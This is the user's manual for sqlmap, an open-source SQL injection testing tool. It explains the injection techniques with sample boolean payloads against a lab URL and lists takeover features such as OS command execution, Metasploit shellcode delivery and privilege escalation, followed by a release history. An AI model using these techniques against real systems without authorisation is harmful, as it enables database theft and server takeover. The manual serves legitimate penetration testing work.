sqlmap/doc/README.sgml

<!doctype linuxdoc system>

<article>

<title>sqlmap user's manual
<author>by <htmlurl url="mailto:bernardo@sqlmap.org" name="Bernardo Damele A. G.">, <htmlurl url="mailto:miroslav@sqlmap.org" name="Miroslav Stampar">
<date>version 1.0-dev, XXX XX, 2011
<abstract>
This document is the user's manual for <htmlurl url="http://www.sqlmap.org" name="sqlmap">.
</abstract>

<toc>


<sect>Introduction

<p>
sqlmap is an open source penetration testing tool that automates the
process of detecting and exploiting SQL injection flaws and taking over of
database servers. It comes with a powerful detection engine, many niche
features for the ultimate penetration tester and a broad range of switches
lasting from database fingerprinting, over data fetching from the
database, to accessing the underlying file system and executing commands
on the operating system via out-of-band connections.


<sect1>Requirements

<p>
sqlmap is developed in <htmlurl url="http://www.python.org" name="Python">,
a dynamic, object-oriented, interpreted programming language freely available from 
<htmlurl url="http://python.org/download/" name="http://python.org/download/">.
This makes sqlmap a cross-platform application which is independant of the 
operating system. sqlmap requires Python version <bf>2.6</bf> or above.
To make it even easier, many GNU/Linux distributions come out of the box
with Python installed. Other Unixes and Mac OSX also provide Python packaged
and ready to be installed.
Windows users can download and install the Python installer for x86, AMD64 and Itanium.

sqlmap relies on the <htmlurl url="http://metasploit.com"
name="Metasploit Framework"> for some of its post-exploitation takeover
features. You need to grab a copy of the framework from the
<htmlurl url="http://metasploit.com/download/" name="download">
page - the required version is <bf>3.5</bf> or higher.
For the ICMP tunneling out-of-band takeover technique, sqlmap requires the
<htmlurl url="http://corelabs.coresecurity.com/index.php?module=Wiki&amp;action=view&amp;type=tool&amp;name=Impacket"
name="Impacket"> library too.

If you are willing to connect directly to a database server (<tt>-d</tt> switch),
without passing through the web application, you need to install Python bindings
for the database management system that you are going to attack:

<itemize>
<item>Firebird: <htmlurl name="python-kinterbasdb" url="http://kinterbasdb.sourceforge.net/">.
<item>Microsoft Access: <htmlurl name="python-pyodbc" url="http://pyodbc.googlecode.com/">.
<item>Microsoft SQL Server: <htmlurl name="python-pymssql" url="http://pymssql.sourceforge.net/">.
<item>MySQL: <htmlurl name="python pymysql" url="http://code.google.com/p/pymysql/">.
<item>Oracle: <htmlurl name="python cx_Oracle" url="http://cx-oracle.sourceforge.net/">.
<item>PostgreSQL: <htmlurl name="python-psycopg2" url="http://initd.org/psycopg/">.
<item>SQLite: <htmlurl name="python-pysqlite2" url="http://pysqlite.googlecode.com/">.
<item>Sybase: <htmlurl name="python-pymssql" url="http://pymssql.sourceforge.net/">.
</itemize>

If you plan to attack a web application behind NTLM authentication or use
the sqlmap update functionality (<tt>-</tt><tt>-update</tt> switch) you need to
install respectively <htmlurl url="http://code.google.com/p/python-ntlm/"
name="python-ntlm"> and <htmlurl url="http://pysvn.tigris.org/"
name="python-svn"> libraries respectively.

Optionally, if you are running sqlmap on Windows, you may wish to install the
<htmlurl url="http://ipython.scipy.org/moin/PyReadline/Intro" name="PyReadline">
library in order to take advantage of the sqlmap TAB completion and
history support features in the SQL shell and OS shell.
Note that these functionalities are available natively via the standard Python
<htmlurl url="http://docs.python.org/library/readline.html" name="readline">
library on other operating systems.

You can also choose to install the <htmlurl url="http://psyco.sourceforge.net/"
name="Psyco"> library to eventually speed up the sqlmap algorithmic
operations.


<sect1>Scenario

<sect2>Detect and exploit a SQL injection
<p>
Let's say that you are auditing a web application and found a web page
that accepts dynamic user-provided values via <tt>GET</tt>, <tt>POST</tt>
or <tt>Cookie</tt> parameters or via the HTTP <tt>User-Agent</tt>
request header.
You now want to test if these are affected by a SQL injection
vulnerability, and if so, exploit them to retrieve as much information as
possible from the back-end database management system, or even be able to
access the underlying file system and operating system.

In a simple world, consider that the target url is:

<tscreen><tt>http://192.168.136.131/sqlmap/mysql/get_int.php?id=1</tt></tscreen>

Assume that:

<tscreen><tt>http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1</tt></tscreen>

is the same page as the original one and (the condition evaluates to <bf>True<bf>):

<tscreen><tt>http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2</tt></tscreen>

differs from the original one (the condition evaluates to <bf>False</bf>).
This likely means that you are in front of a SQL
injection vulnerability in the <tt>id</tt> <tt>GET</tt> parameter of the
<tt>index.php</tt> page. Additionally, no sanitisation of user's supplied
input is taking place before the SQL statement is sent to the
back-end database management system.

This is quite a common flaw in dynamic content web applications and it
does not depend upon the back-end database management system nor on the web
application programming language; it is a flaw within the application code.
The <htmlurl url="http://www.owasp.org" name="Open Web Application Security Project">
rated this class of vulnerability as the <htmlurl
url="http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010.pdf" name="most
common"> and serious web application vulnerability in their
<htmlurl url="http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project"
name="Top Ten"> list from 2010.

Now that you have found the vulnerable parameter, you can exploit it by
manipulating the <tt>id</tt> parameter value in the HTTP request.

Back to the scenario, we can make an educated guess about the probable
syntax of the SQL <tt>SELECT</tt> statement where the user supplied value is
being used in the <tt>get_int.php</tt> web page. In pseudo PHP code:

<tscreen><tt>
$query = "SELECT &#91;column(s) name&#93; FROM &#91;table name&#93; WHERE id=" . $_REQUEST['id'];
</tt></tscreen>

As you can see, appending a syntactically valid SQL statement that will
evaluate to a <em>True</em> condition after the value for the <tt>id</tt>
parameter (such as <tt>id=1 AND 1=1</tt>) will result in the web application
returning the same web page as in the original request (where no SQL
statement is added).
This is because the back-end database management system has evaluated the
injected SQL statement.
The previous example describes a simple boolean-based blind SQL injection
vulnerability. 
However, sqlmap is able to detect any type of SQL injection flaw and adapt
its work-flow accordingly. 

In this simple scenario it would also be possible to append, not just one or
more valid SQL conditions, but also (depending on the DBMS) stacked SQL
queries. For instance:  <tt>[...]&amp;id=1;ANOTHER SQL QUERY#</tt>.

sqlmap can automate the process of identifying and exploiting this type of
vulnerability. 
Passing the original address, <tt>http://192.168.136.131/sqlmap/mysql/get_int.php?id=1</tt>
to sqlmap, the tool will automatically:

<itemize>
<item>Identify the vulnerable parameter(s) (<tt>id</tt> in this example);
<item>Identify which SQL injection techniques can be used to exploit the
vulnerable parameter(s);
<item>Fingerprint the back-end database management system;
<item>Depending on the user's options, it will extensively fingerprint,
enumerate data or takeover the database server as a whole.
</itemize>
...and depending on supplied options, it will enumerate data or takeover the
database server entirely.

There exist many <htmlurl url="http://delicious.com/inquis/sqlinjection" name="resources">
on the web explaining in depth how to detect, exploit and prevent SQL
injection vulnerabilities in web applications. It is recommendeded that you read
them before going much further with sqlmap.

<sect2>Direct connection to the database management system
<p>
Up until sqlmap version <bf>0.8</bf>, the tool has been <em>yet another
SQL injection tool</em>, used by web application penetration testers/newbies/curious
teens/computer addicted/punks and so on. Things move on
and as they evolve, we do as well. Now it supports this new switch,
<tt>-d</tt>, that allows you to connect from your machine to the database
server's TCP port where the database management system daemon is listening
on and perform any operation you would do while using it to attack a
database via a SQL injection vulnerability.


<sect1>Techniques

<p>
sqlmap is able to detect and exploit five different SQL injection
<em>types</em>:

<itemize>
<item><bf>Boolean-based blind SQL injection</bf>, also known as <bf>inferential
SQL injection</bf>: sqlmap replaces or appends to the affected parameter in
the HTTP request, a syntatically valid SQL statement string containing a
<tt>SELECT</tt> sub-statement, or any other SQL statement whose the user
want to retrieve the output.
For each HTTP response, by making a comparison between the HTTP response
headers/body with the original request, the tool inference the output of
the injected statement character by character. Alternatively, the user
can provide a string or regular expression to match on True pages.
The bisection algorithm implemented in sqlmap to perform this technique
is able to fetch each character of the output with a maximum of seven HTTP
requests. Where the output is not within the clear-text plain charset,
sqlmap will adapt the algorithm with bigger ranges to detect the output.
<item><bf>Time-based blind SQL injection</bf>, also known as <bf>full blind
SQL injection</bf>: sqlmap replaces or appends to the affected parameter in
the HTTP request, a syntatically valid SQL statement string containing a
query which put on hold the back-end DBMS to return for a certain number
of seconds.
For each HTTP response, by making a comparison between the HTTP response
time with the original request, the tool inference the output of
the injected statement character by character. Like for boolean-based
technique, the bisection algorithm is applied.
<item><bf>Error-based SQL injection</bf>: sqlmap replaces or appends to 
the affected parameter a database-specific error message provoking statement 
and parses the HTTP response headers and body in search of DBMS error messages 
containing the injected pre-defined chain of characters and the subquery 
statement output within. This technique works only when the web application 
has been configured to disclose back-end database management system error 
messages.
<item><bf>UNION query SQL injection</bf>, also known as <bf>inband SQL
injection</bf>: sqlmap appends to the affected parameter a syntatically
valid SQL statement starting with an <tt>UNION ALL SELECT</tt>.
This techique works when the web application page passes directly the output 
of the <tt>SELECT</tt> statement within a <tt>for</tt> loop, or similar, so 
that each line of the query output is printed on the page content.
sqlmap is also able to exploit <bf>partial (single entry) UNION query SQL
injection</bf> vulnerabilities which occur when the output of the
statement is not cycled in a <tt>for</tt> construct, whereas only the first
entry of the query output is displayed.
<item><bf>Stacked queries SQL injection</bf>, also known as <bf>multiple
statements SQL injection</bf>: sqlmap tests if the web application supports
stacked queries and then, in case it does support, it appends to the affected
parameter in the HTTP request, a semi-colon (<tt>;</tt>) followed by the
SQL statement to be executed. This technique is useful to run SQL
statements other than <tt>SELECT</tt>, like for instance, <em>data
definition</em> or <em>data manipulation</em> statements, possibly leading
to file system read and write access and operating system command
execution depending on the underlying back-end database management system
and the session user privileges.
</itemize>


<sect1>Demo

<p>
You can watch several demo videos, they are hosted on <htmlurl
url="http://www.youtube.com/user/inquisb#g/u" name="YouTube">.


<sect>Features

<p>
Features implemented in sqlmap include:


<sect1>Generic features

<p>
<itemize>
<item>Full support for <bf>MySQL</bf>, <bf>Oracle</bf>, <bf>PostgreSQL</bf>,
<bf>Microsoft SQL Server</bf>, <bf>Microsoft Access</bf>, <bf>SQLite</bf>,
<bf>Firebird</bf>, <bf>Sybase</bf> and <bf>SAP MaxDB</bf> database
management systems.

<item>Full support for five SQL injection techniques: <bf>boolean-based
blind</bf>, <bf>time-based blind</bf>, <bf>error-based</bf>,
<bf>UNION query</bf> and <bf>stacked queries</bf>.

<item>Support to <bf>directly connect to the database</bf> without passing
via a SQL injection, by providing DBMS credentials, IP address, port and
database name.

<item>It is possible to provide a single target URL, get the list of
targets from <htmlurl url="http://portswigger.net/suite/" name="Burp proxy">
or <htmlurl url="http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project"
name="WebScarab proxy"> requests log files, get the whole HTTP request
from a text file or get the list of targets by providing sqlmap with a
Google dork which queries <htmlurl url="http://www.google.com"
name="Google"> search engine and parses its results page. You can also
define a regular-expression based scope that is used to identify which of
the parsed addresses to test.

<item>Tests provided <bf>GET</bf> parameters, <bf>POST</bf> parameters,
HTTP <bf>Cookie</bf> header values, HTTP <bf>User-Agent</bf> header value
and HTTP <bf>Referer</bf> header value to identify and exploit SQL
injection vulnerabilities. It is also possible to specify a comma-separated
list of specific parameter(s) to test.

<item>Option to specify the <bf>maximum number of concurrent HTTP(S)
requests (multi-threading)</bf> to speed up the blind SQL injection
techniques. Vice versa, it is also possible to specify the number of
seconds to hold between each HTTP(S) request. Others optimization switches
to speed up the exploitation are implemented too.

<item><bf>HTTP <tt>Cookie</tt> header</bf> string support, useful when the
web application requires authentication based upon cookies and you have
such data or in case you just want to test for and exploit SQL injection
on such header values. You can also specify to always URL-encode the
Cookie.

<item>Automatically handles <bf>HTTP <tt>Set-Cookie</tt> header</bf> from
the application, re-establishing of the session if it expires. Test and
exploit on these values is supported too. Vice versa, you can also force
to ignore any <tt>Set-Cookie</tt> header.

<item>HTTP protocol <bf>Basic, Digest, NTLM and Certificate
authentications</bf> support.

<item><bf>HTTP(S) proxy</bf> support to pass by the requests to the target
application that works also with HTTPS requests and with authenticated
proxy servers.

<item>Options to fake the <bf>HTTP <tt>Referer</tt> header</bf> value and
the <bf>HTTP <tt>User-Agent</tt> header</bf> value specified by user or
randomly selected from a textual file.

<item>Support to increase the <bf>verbosity level of output messages</bf>:
there exist <bf>seven levels</bf> of verbosity.

<item>Support to <bf>parse HTML forms</bf> from the target URL and forge
HTTP(S) requests against those pages to test the form parameters against
vulnerabilities.

<item><bf>Granularity and flexibility</bf> in terms of both user's
switches and features.

<item><bf>Estimated time of arrival</bf> support for each query, updated
in real time, to provide the user with an overview on how long it will
take to retrieve the queries' output.

<item>Automatically saves the session (queries and their output, even if
partially retrieved) on a textual file in real time while fetching the
data and <bf>resumes the injection</bf> by parsing the session file.

<item>Support to read options from a configuration INI file rather than
specify each time all of the switches on the command line. Support also to
generate a configuration file based on the command line switches provided.

<item>Support to <bf>replicate the back-end database tables structure and
entries</bf> on a local SQLite 3 database.

<item>Option to update sqlmap to the latest development version from the
subversion repository.

<item>Support to parse HTTP(S) responses and display any DBMS error
message to the user.

<item>Integration with other IT security open source projects,
<htmlurl url="http://metasploit.com" name="Metasploit"> and <htmlurl
url="http://w3af.sourceforge.net/" name="w3af">.
</itemize>


<sect1>Fingerprint and enumeration features

<p>
<itemize>
<item><bf>Extensive back-end database software version and underlying
operating system fingerprint</bf> based upon
<htmlurl url="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html" name="error messages">,
<htmlurl url="http://bernardodamele.blogspot.com/2007/06/database-management-system-fingerprint.html" name="banner parsing">,
<htmlurl url="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html" name="functions output comparison"> and
<htmlurl url="http://bernardodamele.blogspot.com/2007/07/more-on-database-management-system.html" name="specific features">
such as MySQL comment injection. It is also possible to force the back-end
database management system name if you already know it.

<item>Basic web server software and web application technology
fingerprint.

<item>Support to retrieve the DBMS <bf>banner</bf>, <bf>session user</bf>
and <bf>current database</bf> information. The tool can also check if the
session user is a <bf>database administrator</bf> (DBA).

<item>Support to enumerate <bf>database users</bf>, <bf>users' password
hashes</bf>, <bf>users' privileges</bf>, <bf>users' roles</bf>,
<bf>databases</bf>, <bf>tables</bf> and <bf>columns</bf>.

<item>Automatic recognition of password hashes format and support to
<bf>crack them with a dictionary-based attack</bf>.

<item>Support to <bf>brute-force tables and columns name</bf>. This is
useful when the session user has no read access over the system table
containing schema information or when the database management system does
not store this information anywhere (e.g. MySQL < 5.0).

<item>Support to <bf>dump database tables</bf> entirely, a range of
entries or specific columns as per user's choice. The user can also choose
to dump only a range of characters from each column's entry.

<item>Support to automatically <bf>dump all databases</bf>' schemas and
entries. It is possibly to exclude from the dump the system databases.

<item>Support to <bf>search for specific database names, specific tables
across all databases or specific columns across all databases'
tables</bf>. This is useful, for instance, to identify tables containing
custom application credentials where relevant columns' names contain
string like <em>name</em> and <em>pass</em>.

<item>Support to <bf>run custom SQL statement(s)</bf> as in an interactive
SQL client connecting to the back-end database. sqlmap automatically
dissects the provided statement, determines which technique fits best to
inject it and how to pack the SQL payload accordingly.
</itemize>


<sect1>Takeover features

<p>
Some of these techniques are detailed in the white paper
<htmlurl url="http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857"
name="Advanced SQL injection to operating system full control"> and in the
slide deck <htmlurl url="http://www.slideshare.net/inquis/expanding-the-control-over-the-operating-system-from-the-database"
name="Expanding the control over the operating system from the database">.

<itemize>
<item>Support to <bf>inject custom user-defined functions</bf>: the user
can compile a shared library then use sqlmap to create within the back-end
DBMS user-defined functions out of the compiled shared library file. These
UDFs can then be executed, and optionally removed, via sqlmap. This is
supported when the database software is MySQL or PostgreSQL.

<item>Support to <bf>download and upload any file</bf> from the database
server underlying file system when the database software is MySQL,
PostgreSQL or Microsoft SQL Server.

<item>Support to <bf>execute arbitrary commands and retrieve their
standard output</bf> on the database server underlying operating system
when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
<itemize>
<item>On MySQL and PostgreSQL via user-defined function injection and
execution.
<item>On Microsoft SQL Server via <tt>xp_cmdshell()</tt> stored procedure.
Also, the stored procedure is re-enabled if disabled or created from
scratch if removed by the DBA.
</itemize>

<item>Support to <bf>establish an out-of-band stateful TCP connection
between the attacker machine and the database server</bf> underlying
operating system. This channel can be an interactive command prompt, a
Meterpreter session or a graphical user interface (VNC) session as per
user's choice.
sqlmap relies on Metasploit to create the shellcode and implements four
different techniques to execute it on the database server. These
techniques are:
<itemize>
<item>Database <bf>in-memory execution of the Metasploit's shellcode</bf>
via sqlmap own user-defined function <tt>sys_bineval()</tt>. Supported on
MySQL and PostgreSQL.
<item>Upload and execution of a Metasploit's <bf>stand-alone payload
stager</bf> via sqlmap own user-defined function <tt>sys_exec()</tt> on
MySQL and PostgreSQL or via <tt>xp_cmdshell()</tt> on Microsoft SQL
Server.
<item>Execution of Metasploit's shellcode by performing a <bf>SMB
reflection attack</bf> (<htmlurl
url="http://www.microsoft.com/technet/security/Bulletin/MS08-068.mspx"
name="MS08-068">) with a UNC path request from the database server to
the attacker's machine where the Metasploit <tt>smb_relay</tt> server
exploit listens. Supported when running sqlmap with high privileges
(<tt>uid=0</tt>) on Linux/Unix and the target DBMS runs as Administrator
on Windows.
<item>Database in-memory execution of the Metasploit's shellcode by
exploiting <bf>Microsoft SQL Server 2000 and 2005
<tt>sp_replwritetovarbin</tt> stored procedure heap-based buffer
overflow</bf> (<htmlurl
url="http://www.microsoft.com/technet/security/bulletin/ms09-004.mspx"
name="MS09-004">). sqlmap has its own exploit to trigger the
vulnerability with automatic DEP memory protection bypass, but it relies
on Metasploit to generate the shellcode to get executed upon successful
exploitation.
</itemize>

<item>Support for <bf>database process' user privilege escalation</bf> via
Metasploit's <tt>getsystem</tt> command which include, among others,
the <htmlurl
url="http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html"
name="kitrap0d"> technique (<htmlurl
url="http://www.microsoft.com/technet/security/bulletin/ms10-015.mspx"
name="MS10-015">).

<item>Support to access (read/add/delete) Windows registry hives.
</itemize>


<sect>History

<sect1>2011

<p>
<itemize>
<item><bf>April 10</bf>, <htmlurl name="Bernardo and Miroslav"
url="http://www.sqlmap.org/#developers"> release sqlmap
<bf>0.9</bf> featuring a totally rewritten and powerful SQL injection
detection engine, the possibility to connect directly to a database
server, support for time-based blind SQL injection and error-based SQL
injection, support for four new database management systems and much more.
</itemize>

<sect1>2010

<p>
<itemize>
<item><bf>December</bf>, <htmlurl name="Bernardo and Miroslav"
url="http://www.sqlmap.org/#developers"> have enhanced sqlmap a
lot during the whole year and prepare to release sqlmap <bf>0.9</bf>
within the first quarter of 2011.
<item><bf>June 3</bf>, Bernardo <htmlurl name="presents"
url="http://www.slideshare.net/inquis/ath-con-2010bernardodamelegotdbownnet">
a talk titled <em>Got database access? Own the network!</em> at AthCon
2010 in Athens (Greece).
<item><bf>March 14</bf>, <htmlurl name="Bernardo and Miroslav"
url="http://www.sqlmap.org/#developers"> release stable version of 
sqlmap <bf>0.8</bf> featuring many features. Amongst these, support to
enumerate and dump all databases' tables containing user provided
column(s), stabilization and enhancements to the takeover functionalities,
updated integration with Metasploit 3.3.3 and a lot of minor features and
bug fixes.
<item><bf>March</bf>, sqlmap demo videos have been <htmlurl
name="published" url="http://www.youtube.com/inquisb#g/u">.
<item><bf>January</bf>, Bernardo is <htmlurl name="invited"
url="http://www.athcon.org/speakers/"> to present at <htmlurl
name="AthCon" url="http://www.athcon.org/archives/2010-2/"> conference in
Greece on June 2010.
</itemize>

<sect1>2009

<p>
<itemize>
<item><bf>December 18</bf>, Miroslav Stampar replies to the call for
developers. Along with Bernardo, he actively develops sqlmap from version
<bf>0.8 release candidate 2</bf>.

<item><bf>December 12</bf>, Bernardo writes to the mailing list a post
titled <htmlurl url="http://bernardodamele.blogspot.com/2009/12/sqlmap-state-of-art-3-years-later.html"
name="sqlmap state of art - 3 years later"> highlighting the goals
achieved during these first three years of the project and launches a call
for developers.

<item><bf>December 4</bf>, sqlmap-devel mailing list has been merged into
sqlmap-users <htmlurl name="mailing list" url="http://www.sqlmap.org/#ml">.

<item><bf>November 20</bf>, Bernardo and Guido present again their
research on stealth database server takeover at CONfidence 2009 in Warsaw,
Poland.

<item><bf>September 26</bf>, sqlmap version <bf>0.8 release candidate
1</bf> goes public on the <htmlurl name="subversion repository"
url="https://svn.sqlmap.org/sqlmap/trunk/sqlmap/">, with all the attack
vectors unveiled at SOURCE Barcelona 2009 Conference. These include an
enhanced version of the Microsoft SQL Server buffer overflow exploit to
automatically bypass DEP memory protection, support to establish the
out-of-band connection with the database server by executing in-memory
the Metasploit shellcode via UDF <em>sys_bineval()</em> (anti-forensics
technique), support to access the Windows registry hives and support to
inject custom user-defined functions.

<item><bf>September 21</bf>, Bernardo and <htmlurl name="Guido Landi"
url="http://www.pornosecurity.org"> <htmlurl name="present"
url="http://www.sourceconference.com/index.php/pastevents/source-barcelona-2009/schedule">
their research (<htmlurl name="slides"
url="http://www.slideshare.net/inquis/expanding-the-control-over-the-operating-system-from-the-database">)
at SOURCE Conference 2009 in Barcelona, Spain.

<item><bf>August</bf>, Bernardo is accepted as a speaker at two others IT
security conferences, <htmlurl url="http://www.sourceconference.com/index.php/pastevents/source-barcelona-2009"
name="SOURCE Barcelona 2009"> and <htmlurl url="http://200902.confidence.org.pl/"
name="CONfidence 2009 Warsaw">.
This new research is titled <em>Expanding the control over the operating
system from the database</em>.

<item><bf>July 25</bf>, stable version of sqlmap <bf>0.7</bf> is out!

<item><bf>June 27</bf>, Bernardo <htmlurl name="presents"
url="http://www.slideshare.net/inquis/sql-injection-not-only-and-11-updated">
an updated version of his
<em>SQL injection: Not only AND 1=1</em> slides at <htmlurl name="2nd
Digital Security Forum" url="http://www.digitalsecurityforum.eu/"> in
Lisbon, Portugal.

<item><bf>June 2</bf>, sqlmap version <bf>0.6.4</bf> has made its way to
the official Ubuntu repository too.

<item><bf>May</bf>, Bernardo presents again his research on operating
system takeover via SQL injection at <htmlurl
url="http://www.owasp.org/index.php/OWASP_AppSec_Europe_2009_-_Poland"
name="OWASP AppSec Europe 2009"> in Warsaw, Poland and at <htmlurl
url="http://eusecwest.com/" name="EUSecWest 2009"> in London, UK.

<item><bf>May 8</bf>, sqlmap version <bf>0.6.4</bf> has been officially
accepted in Debian repository. Details on <htmlurl
url="http://bernardodamele.blogspot.com/2009/05/sqlmap-in-debian-package-repository.html"
name="this blog post">.

<item><bf>April 22</bf>, sqlmap version <bf>0.7 release candidate 1</bf>
goes public, with all the attack vectors unveiled at Black Hat Europe 2009
Conference.
These include execution of arbitrary commands on the underlying operating
system, full integration with Metasploit to establish an out-of-band
TCP connection, first publicly available exploit for Microsoft Security
Bulletin <htmlurl url="http://www.microsoft.com/technet/security/Bulletin/MS09-004.mspx"
name="MS09-004"> against Microsoft SQL Server 2000 and 2005 and others
attacks to takeover the database server as a whole, not only the data from
the database.

<item><bf>April 16</bf>, Bernardo <htmlurl url="http://www.blackhat.com/html/bh-europe-09/bh-eu-09-archives.html#Damele"
name="presents"> his research (<htmlurl url="http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-slides" name="slides">, <htmlurl
url="http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857"
name="whitepaper">) at Black Hat Europe 2009 in Amsterdam, The Netherlands.
The feedback from the audience is good and there has been some 
<htmlurl url="http://bernardodamele.blogspot.com/2009/03/black-hat-europe-2009.html"
name="media coverage"> too.

<item><bf>March 5</bf>, Bernardo <htmlurl url="http://www.slideshare.net/inquis/sql-injection-not-only-and-11"
name="presents"> for the first time some of the sqlmap recent features and
upcoming enhancements at an international event, <htmlurl
url="http://www.owasp.org/index.php/Front_Range_OWASP_Conference_2009"
name="Front Range OWASP Conference 2009"> in Denver, USA. The presentation
is titled <em>SQL injection: Not only AND 1=1</em>.

<item><bf>February 24</bf>, Bernardo is accepted as a <htmlurl
url="http://www.blackhat.com/html/bh-europe-09/bh-eu-09-speakers.html#Damele"
name="speaker"> at <htmlurl url="http://www.blackhat.com/html/bh-europe-09/bh-eu-09-main.html"
name="Black Hat Europe 2009"> with a presentation titled <em>Advanced SQL
injection exploitation to operating system full control</em>.

<item><bf>February 3</bf>, sqlmap <bf>0.6.4</bf> is the last point release
for 0.6: taking advantage of the stacked queries test implemented in 0.6.3,
sqlmap can now be used to execute any arbitrary SQL statement, not only
<em>SELECT</em> anymore. Also, many features have been stabilized, tweaked
and improved in terms of speed in this release.

<item><bf>January 9</bf>, Bernardo <htmlurl url="http://www.slideshare.net/inquis/sql-injection-exploitation-internals-presentation"
name="presents"> <em>SQL injection exploitation internals</em> at a
private event in London, UK.
</itemize>

<sect1>2008

<p>
<itemize>
<item><bf>December 18</bf>, sqlmap <bf>0.6.3</bf> is released featuring
support to retrieve targets from Burp and WebScarab proxies log files,
support to test for stacked queries ant time-based blind SQL injection,
rough fingerprint of the web server and web application technologies in
use and more options to customize the HTTP requests and enumerate more
information from the database.

<item><bf>November 2</bf>, sqlmap version <bf>0.6.2</bf> is a "bug fixes"
release only.

<item><bf>October 20</bf>, sqlmap first point release, <bf>0.6.1</bf>, goes
public. This includes minor bug fixes and the first contact between the
tool and <htmlurl url="http://metasploit.com" name="Metasploit">:
an auxiliary module to launch sqlmap from within Metasploit Framework.
The <htmlurl url="https://svn.sqlmap.org/sqlmap/trunk/sqlmap/"
name="subversion development repository"> goes public again.

<item><bf>September 1</bf>, nearly one year after the previous release,
sqlmap <bf>0.6</bf> comes to life featuring a complete code
refactoring, support to execute arbitrary SQL <em>SELECT</em> statements,
more options to enumerate and dump specific information are added, brand
new installation packages for Debian, Red Hat, Windows and much more.

<item><bf>August</bf>, two public <htmlurl name="mailing lists"
url="http://www.sqlmap.org/#ml"> are created on SourceForge.

<item><bf>January</bf>, sqlmap subversion development repository is moved
away from SourceForge and goes private for a while.
</itemize>

<sect1>2007

<p>
<itemize>
<item><bf>November 4</bf>, release <bf>0.5</bf> marks the end of the OWASP
Spring of Code 2007 contest participation. Bernardo has <htmlurl
url="http://www.owasp.org/index.php/SpoC_007_-_SQLMap_-_Progress_Page"
name="accomplished"> all the propsed objects which include also initial
support for Oracle, enhanced support for UNION query SQL injection and
support to test and exploit SQL injections in HTTP Cookie and User-Agent
headers.

<item><bf>June 15</bf>, Bernardo releases version <bf>0.4</bf> as a
result of the first OWASP Spring of Code 2007 milestone. This release
features, amongst others, improvements to the DBMS fingerprint engine,
support to calculate the estimated time of arrival, options to enumerate
specific data from the database server and brand new logging system.

<item><bf>April</bf>, even though sqlmap was <bf>not</bf> and is <bf>not</bf>
an OWASP project, it gets <htmlurl url="http://www.owasp.org/index.php/SpoC_007_-_SqlMap"
name="accepted">, amongst many other open source projects to OWASP Spring
of Code 2007.

<item><bf>March 30</bf>, Bernardo applies to OWASP <htmlurl
url="http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_Applications#Bernardo_-_sqlmap"
name="Spring of Code 2007">.

<item><bf>January 20</bf>, sqlmap version <bf>0.3</bf> is released,
featuring initial support for Microsoft SQL Server, support to test
and exploit UNION query SQL injections and injection points in POST
parameters.
</itemize>

<sect1>2006

<p>
<itemize>
<item><bf>December 13</bf>, Bernardo releases version <bf>0.2</bf> with
major enhancements to the DBMS fingerprint functionalities and replacement
of the old inference algorithm with the bisection algorithm.

<item><bf>September</bf>, Daniele leaves the project, <htmlurl
url="http://bernardodamele.blogspot.com" name="Bernardo Damele A. G.">
takes it over.

<item><bf>August</bf>, Daniele adds initial support for PostgreSQL and releases
version <bf>0.1</bf>.

<item><bf>July 25</bf>, <htmlurl url="http://dbellucci.blogspot.com" name="Daniele Bellucci">
registers the sqlmap project on SourceForge and develops it on the
<htmlurl url="http://sqlmap.svn.sourceforge.net/viewvc/sqlmap/"
name="SourceForge subversion repository">. The skeleton is implemented and
limited support for MySQL added.
</itemize>


<sect>Download and update

<p>
sqlmap can be downloaded from its
<htmlurl url="http://sourceforge.net/projects/sqlmap/files/" name="SourceForge File List page">.
It is available in two formats:

<itemize>
<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.9.tar.gz"
name="Source gzip compressed">.

<item><htmlurl url="http://downloads.sourceforge.net/sqlmap/sqlmap-0.9.zip"
name="Source zip compressed">.
</itemize>

<p>
You can also checkout the latest development version from the
<htmlurl url="https://svn.sqlmap.org/sqlmap/trunk/sqlmap/" name="subversion">
repository:

<tscreen><verb>
$ svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
</verb></tscreen>

<p>
You can update it at any time to the latest development version by running:

<tscreen><verb>
$ python sqlmap.py --update
</verb></tscreen>

Or:

<tscreen><verb>
$ svn update
</verb></tscreen>

<p>
This is strongly recommended <bf>before</bf> reporting any bug to the 
<htmlurl url="http://www.sqlmap.org/#ml" name="mailing list">.


<sect>Usage

<p>
<tscreen><verb>
$ python sqlmap.py -h

    sqlmap/1.0 - automatic SQL injection and database takeover tool
    http://www.sqlmap.org

Usage: python sqlmap.py [options]

Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)

  Target:
    At least one of these options has to be specified to set the source to
    get target urls from.

    -d DIRECT           Direct connection to the database
    -u URL, --url=URL   Target url
    -l LIST             Parse targets from Burp or WebScarab proxy logs
    -r REQUESTFILE      Load HTTP request from a file
    -g GOOGLEDORK       Process Google dork results as target urls
    -c CONFIGFILE       Load options from a configuration INI file

  Request:
    These options can be used to specify how to connect to the target url.

    --data=DATA         Data string to be sent through POST
    --cookie=COOKIE     HTTP Cookie header
    --cookie-urlencode  URL Encode generated cookie injections
    --drop-set-cookie   Ignore Set-Cookie header from response
    --user-agent=AGENT  HTTP User-Agent header
    --random-agent      Use randomly selected HTTP User-Agent header
    --referer=REFERER   HTTP Referer header
    --headers=HEADERS   Extra HTTP headers newline separated
    --auth-type=ATYPE   HTTP authentication type (Basic, Digest or NTLM)
    --auth-cred=ACRED   HTTP authentication credentials (name:password)
    --auth-cert=ACERT   HTTP authentication certificate (key_file,cert_file)
    --proxy=PROXY       Use a HTTP proxy to connect to the target url
    --proxy-cred=PCRED  HTTP proxy authentication credentials (name:password)
